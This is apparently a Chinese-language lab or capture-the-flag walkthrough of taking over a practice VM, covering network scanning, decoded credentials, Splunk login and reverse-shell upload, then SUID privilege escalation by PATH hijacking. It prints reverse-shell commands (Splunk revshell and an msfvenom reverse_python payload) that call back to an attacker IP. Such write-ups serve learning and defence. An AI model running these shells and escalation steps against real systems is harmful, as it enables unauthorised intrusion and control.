0x01 确定靶机即开放端口信息
攻击机ip:192.168.19.174
靶机ip:不知道,与攻击机都在NAT模式
a.扫描网段,确定靶机ip
nmap -sP 192.168.19.0/24
因为提前知道了攻击机的ip为192.168.19.174,在同一局域网我们便确定了靶机的ip为192.168.19.175
b.扫描靶机开放的端口
nmap -A 192.168.19.175
根据扫描的结果,我们知道靶机开放了80,8000等端口,还开放了/groot的目录。
0x02 访问web界面,进行web渗透
在web界面中,并没有得到什么有用的信息,根据平时渗透的经验,一些信息可能被注释在源码中。所以我们从源码开始下手。
在源码中,我们看到了几个超链接,在一个超链接中,我们发现了如下信息:
尝试用base64,unicode等解密方法解密,尝试16进制解密后发现了如下类似于账号和密码的信息:
agent:avengers
有可能是靶机的账号加上密码,所以下一步我们尝试用ssh进行登录:
但是ssh登录失败,所以这不是系统用户,可能是某一个插件的账号
0x03 访问8000端口,继续收集信息
在拿到一个类似于账号加密码的信息之后,发现利用ssh登录失败,回到最初扫描得到的信息中,访问8000端口。访问之后,我们发现了系统安装了Splunk,进入到Splunk的主界面上,有一个用户登录的信息,尝试用刚刚拿到的信息进行登录。
利用刚才得到的账号加密码,我们成功地登陆了Splunk的后台
从网上搜了一下Splunk的使用方法之后,我们可以上传一个shell的gz包
| revshell std 192.168.19.175 1234
上传shell的gz包后,我们利用命令触发shell反弹
拿到一个普通用户的权限之后,接下来的任务就是提权了
0x04 提权
a.获得交互式shell
可以使用msfvenom命令生成一个python的交互式命令
msfvenom -p cmd/unix/reverse_python lhost=192.168.19.174 lport=4444 R
执行成功后,会生成一个关于python的base64代码
我们将生成的python payload直接在刚刚已经获得的普通用户的shell上直接运行,在kali端进行端口的监听,这样在获得一个shell之后,我们就可以用python的交互式命令得到一个交互式的shell
b.内核提权
在这里我们查到的信息为:系统版本为18.04,内核版本为4.18,在kali上找一下相关的exp,没有找到相关的exp。
c.SUID提权
首先查找系统内的SUID可执行文件
find / -perm -u=s -type f 2>/dev/null
在查找文件的时候,发现了这样一个文件/opt/ignite,尝试一下从这个文件下手。
找了一下相关suid提权的相关思路,利用suid提权,成功拿到了root的权限
cd /tmp echo "/bin/bash" > ifconfig chmod 777 ifconfig export PATH=/tmp:$PATH /opt/ignite cd /root